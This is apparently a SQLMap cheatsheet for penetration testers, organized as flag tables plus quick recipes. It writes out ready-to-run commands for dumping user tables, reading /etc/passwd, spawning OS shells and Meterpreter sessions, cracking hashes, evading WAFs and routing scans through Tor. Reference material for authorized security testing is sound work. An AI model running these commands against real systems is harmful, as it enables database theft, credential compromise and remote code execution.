Cheatsheet

TL;DR

A flag-organized reference. Each table is one logical phase; each row is one flag with its purpose. When in doubt about a flag, this page first; the topic pages (linked at the top of each section) for context.

# A complete operator workflow in shorthand
sqlmap -r req.txt --batch                                                    # spec the target
sqlmap -r req.txt --batch --level=5 --risk=3 --tamper=between,space2comment  # detect with bypass
sqlmap -r req.txt --batch --dbs                                              # enumerate
sqlmap -r req.txt --batch -D prod -T users --dump                            # exfiltrate
sqlmap -r req.txt --batch --is-dba --file-read=/etc/passwd                   # post-exploit
sqlmap -r req.txt --batch --os-shell --technique=E                           # RCE

Success indicator: a working session that progresses cleanly through these phases without you opening the SQLMap help twice.

Target specification

See Request Setup.

Flag	Purpose
-u URL	Target URL (with GET params inline)
--url URL	Same as -u
-r FILE	Use Burp-captured HTTP request file
--data STRING	POST body (form-data, JSON, XML, whatever)
--method M	Override HTTP method (PUT, DELETE, PATCH, etc.)
-p PARAM	Restrict testing to a specific parameter
--skip PARAM	Skip testing this parameter
* (in URL/data)	Injection marker - restrict testing to this exact spot
--param-del CHAR	Parameter delimiter (default &, sometimes ;)
--param-exclude REGEX	Skip parameters matching this regex
--randomize PARAM	Randomize this parameter’s value on every request
--eval CODE	Python code to compute parameter values pre-request
--batch	Auto-accept all interactive prompts with defaults
--crawl=N	Crawl the site to depth N, test forms found
--forms	Parse and test forms on the target URL
-g GOOGLE_DORK	Test all URLs from Google search results
-m FILE	Test multiple targets from a list file

Headers, cookies, auth

Flag	Purpose
-H 'Name: value'	Add a custom header (repeatable)
--headers="H1\nH2"	Multiple headers in one flag
--cookie="k=v; k2=v2"	Cookie header
--cookie-del CHAR	Cookie value separator (default ;)
--load-cookies FILE	Load Netscape/Mozilla-format cookies file
--drop-set-cookie	Ignore Set-Cookie in responses
-A USER_AGENT	Set User-Agent
--user-agent UA	Same as -A
--random-agent	Random UA per scan (from built-in pool)
--mobile	Use a mobile-browser UA
--host HOST	Set Host header
--referer URL	Set Referer header
--auth-type TYPE	HTTP auth type (Basic, Digest, NTLM, PKI)
--auth-cred user:pass	HTTP auth credentials
--auth-file FILE	PEM cert for client-cert auth

Connection

Flag	Purpose
--proxy=URL	Route through proxy (Burp = http://127.0.0.1:8080)
--proxy-cred=user:pass	Proxy credentials
--proxy-file=FILE	List of proxies, rotate through them
--tor	Use local Tor SOCKS proxy
--tor-port=N	Tor port if non-default
--tor-type=SOCKS5	Tor proxy type (default SOCKS5)
--check-tor	Verify Tor actually anonymizes
--force-ssl	Force HTTPS to target
--ignore-proxy	Ignore $HTTP_PROXY env var
--ignore-redirects	Don’t follow redirects
--ignore-timeouts	Treat timeouts as non-errors
--delay=N	Seconds between requests
--timeout=N	Per-request timeout
--retries=N	Retries per failing request (default 3)
--keep-alive	HTTP keep-alive
--null-connection	Use HEAD requests where possible for speed
--threads=N	Parallel requests (max 10)

Detection

See Detection & Tuning.

Flag	Purpose
--level=1..5	Test depth (default 1; 5 = all 7,800 payloads)
--risk=1..3	Risk tolerance (default 1; 3 = includes OR-based that may modify data)
--prefix=STR	Prepend STR to every payload
--suffix=STR	Append STR to every payload
--dbms=NAME	Skip DBMS fingerprint, force this DBMS
--dbms-cred=user:pass	DBMS credentials (for --passwords against specific user)
--os=NAME	Force OS (Linux, Windows)
--invalid-bignum	Use big numbers to invalidate (instead of negation)
--invalid-logical	Use logical ops to invalidate
--invalid-string	Use random strings to invalidate
--no-cast	Skip CAST() wrapper on extraction
--no-escape	Skip string escape in payloads
--skip-static	Test even parameters classified as static
--skip-heuristics	Skip heuristic detection
--skip-urlencode	Don’t URL-encode payloads
--skip-waf	Skip WAF/IPS detection heuristic
--time-sec=N	SLEEP seconds for time-based blind (default 5)
--union-cols=N	Force UNION column count
--union-char=CHAR	UNION fill character (default NULL + random ints)
--union-from=TABLE	Append FROM TABLE to UNION (Oracle, etc.)
--second-url=URL	Second-order URL to fetch after each payload
--second-req=FILE	Second-order request file

Response differential

Flag	Purpose
--string=TEXT	TRUE responses contain TEXT
--not-string=TEXT	FALSE responses contain TEXT
--regexp=PATTERN	TRUE responses match regex
--code=N	TRUE responses return HTTP code N
--titles	Compare <title> rather than full body
--text-only	Strip HTML before comparison
--parse-errors	Print parsed DBMS errors
--repair	Re-run failed extractions on detection

Technique selection

See the BEUSTQ technique matrix in SQLMap overview.

Flag	Effect
--technique=B	Only boolean-based blind
--technique=E	Only error-based
--technique=U	Only UNION-based
--technique=S	Only stacked queries
--technique=T	Only time-based blind
--technique=Q	Only inline queries
--technique=BEU	Any subset (combine letters; default is BEUSTQ)
--dns-domain=DOMAIN	Enable out-of-band DNS exfil (you control DOMAIN’s DNS)

Enumeration

See Enumeration.

Recon

Flag	What it returns
--banner	DBMS version banner
--current-user	DB connection user
--current-db	Current database name
--hostname	DB server hostname
--is-dba	Whether current user has DBA rights
--users	List all DB users
--passwords	DB user password hashes (DBA usually required)
--privileges	Per-user privileges
--roles	Per-user roles (Oracle/MSSQL)
--statements	List currently-executing SQL (live)

Schema enumeration

Flag	What it returns
--dbs	All databases (schemas)
--tables	Tables in current DB (or in DB specified with -D)
--columns	Columns in current table (or -T)
--schema	Full schema overview (all DBs, tables, columns)
--count	Row counts per table
--comments	Include SQL comments in output
--search	Search across schema by keyword
-D DB	Restrict to database DB
-T TABLE	Restrict to table TABLE
-C COL,COL2	Restrict to columns
--exclude-sysdbs	Skip system DBs (mysql, sys, information_schema, etc.)

Data extraction

Flag	What it does
--dump	Dump entries from selected table/columns
--dump-all	Dump every accessible table from every accessible DB
--where="COND"	WHERE clause filter for --dump
--start=N	First row to extract
--stop=N	Last row to extract
--first=N	First character of value to extract (blind)
--last=N	Last character of value to extract (blind)
--dump-format=FMT	Output format: CSV (default), HTML, SQLITE
--sql-query=Q	Run a literal SQL query
--sql-shell	Interactive SQL prompt
--sql-file=F	Run SQL from file

Hash cracking

Flag	What it does
(Interactive prompt when hashes are detected)	Offer to crack in-process
(Built-in wordlist)	/usr/share/sqlmap/data/txt/wordlist.tx_ (~1.4M entries)

The cracking happens inline during --dump or --passwords when SQLMap recognizes a hash format. To opt out non-interactively: --batch accepts all prompts including “do you want to crack” → yes.

File operations

See OS Exploitation.

Flag	Purpose
--file-read=PATH	Read file from DB host
--file-write=LOCAL	Local file to write to DB host
--file-dest=REMOTE_PATH	Where to write on DB host

OS command execution

Flag	Purpose
--os-shell	Interactive OS shell on DB host
--os-cmd=CMD	One-shot OS command
--os-pwn	Drop a Meterpreter session via msfvenom
--os-smbrelay	SMB relay attack (MSSQL with xp_dirtree + Responder)
--os-bof	Buffer overflow exploit for MSSQL sp_replwritetovarbin
--reg-read	Read Windows registry key (MSSQL)
--reg-add	Write Windows registry key
--reg-del	Delete Windows registry key
--reg-key=PATH	Registry key path
--reg-value=NAME	Registry value name
--reg-data=DATA	Registry value data
--reg-type=TYPE	Registry value type (REG_SZ, REG_DWORD, etc.)

MSF integration

Flag	Purpose
--msf-path=PATH	Path to Metasploit framework
--tmp-path=PATH	Remote tempdir for staging

WAF / IPS bypass

See WAF Bypass.

Flag	Purpose
--random-agent	Random real-browser UA
--mobile	Mobile UA
--tamper=SCRIPT[,SCRIPT2,...]	Apply tamper scripts to payloads (see list below)
--list-tampers	Print all available tamper scripts
--chunked	Send POST body as HTTP chunked transfer
--hpp	HTTP Parameter Pollution mode
--csrf-token=NAME	Auto-refresh CSRF token param
--csrf-url=URL	Fetch CSRF token from this URL
--csrf-method=METHOD	Method for CSRF token URL
--csrf-data=DATA	Data for CSRF token URL (if POST)
--csrf-retries=N	CSRF retries
--safe-url=URL	”Safe” URL to keep session alive
--safe-post=DATA	POST body for safe URL
--safe-req=FILE	Request file for safe URL
--safe-freq=N	Hit safe URL every N requests
--randomize=PARAM	Randomize parameter value per request
--eval=CODE	Python pre-request code

Common tamper scripts

Tamper	Effect
between	> → NOT BETWEEN 0 AND #; = → BETWEEN # AND #
space2comment	space → /**/
space2dash	space → -- \n + random string
space2hash	space → #\n + random string (MySQL)
space2plus	space → +
space2randomblank	space → random whitespace char
randomcase	random-case keywords (SELECT → SeLeCt)
equaltolike	= → LIKE
0eunion	UNION → e0UNION
base64encode	base64 the whole payload
charencode	URL-encode every char
charunicodeencode	Unicode-encode every char
commalesslimit	LIMIT M,N → LIMIT N OFFSET M (MySQL)
apostrophenullencode	' → %00%27
apostrophemask	' → unicode look-alike
appendnullbyte	append %00
halfversionedmorekeywords	versioned-comment prefix on keywords (MySQL)
modsecurityversioned	wrap query in MySQL versioned comment
modsecurityzeroversioned	wrap in zero-versioned comment
percentage	% before each char (ASP)
plus2concat	+ → CONCAT() (MSSQL)
plus2fnconcat	+ → {fn CONCAT()} (MSSQL ODBC)
symboliclogical	AND/OR → &&/||
versionedkeywords	wrap non-function keywords in MySQL versioned comment
versionedmorekeywords	wrap every keyword in MySQL versioned comment

Chaining respects predefined priority. Common combinations:

Stack	Use case
between	First try when =/> blocked
space2comment	First try when spaces blocked
between,space2comment	Generic baseline bypass
between,randomcase,space2comment	Slightly stronger
modsecurityversioned	Specifically targets ModSecurity rules
apostrophenullencode,space2comment	Bypasses quote + space filters
charunicodeencode	Catches naive char-class filters

Output and session

Flag	Purpose
-v 0..6	Verbosity (3 = payloads; 6 = full trace)
--output-dir=PATH	Custom location for session files
--flush-session	Discard cached state for this target
--purge	Delete entire SQLMap output directory
--fresh-queries	Don’t reuse cached query results
-t FILE	Log all HTTP traffic to FILE
--har=FILE	Save HTTP traffic as HAR (browser dev-tools format)
--save=FILE	Save options to a config file
-c FILE	Load options from config file
--results-file=FILE	Write -m summary to FILE
--update	Update SQLMap itself
--version	Print version
-h	Short help
-hh	Full help
--api	Run SQLMap REST API server
--api-server	Same
--api-client	API client mode

Reporting flags

Flag	What it gives
--dump-format=HTML	Browseable HTML output of dumped tables
--dump-format=SQLITE	SQLite DB of dumped tables (queryable later)
--har=FILE	Full traffic in HAR format (open in browser dev tools)
Session files at ~/.sqlmap/output/<host>/	Persistent - include in deliverables

Performance / parallelism

Flag	Effect
--threads=N	Parallel requests (max 10)
--predict-output	Use prior values to skip already-known characters
--keep-alive	HTTP keep-alive
--null-connection	HEAD requests where possible (faster boolean blind)
--no-cast	Skip CAST() wrapper (faster, but breaks some extractions)
--fresh-queries	Don’t reuse cached query results
--time-sec=N	SLEEP delay for time-based (lower = faster but more false positives)

Quick recipes

”Just try it"

sqlmap -u 'http://target/vuln.php?id=1' --batch

"Got a Burp request"

sqlmap -r req.txt --batch

"JSON API"

sqlmap -u 'http://target/api/items' \
       -H 'Content-Type: application/json' \
       --data '{"id":1*}' --batch

"Try harder"

sqlmap -r req.txt --batch --level=5 --risk=3 \
       --tamper=between,space2comment --random-agent --dbms=MySQL

"Extract one specific table"

sqlmap -r req.txt --batch -D prod -T users --dump

"Get a shell, fast"

sqlmap -r req.txt --batch --is-dba           # confirm DBA first
sqlmap -r req.txt --batch --os-shell --technique=E    # then interactive

"Read a specific file"

sqlmap -r req.txt --batch --file-read=/etc/passwd

"Through Tor"

sqlmap -r req.txt --batch --tor --tor-type=SOCKS5 --check-tor

"Through Burp for replay"

sqlmap -r req.txt --batch --proxy=http://127.0.0.1:8080 --ignore-certs

"Reset everything”

sqlmap -r req.txt --flush-session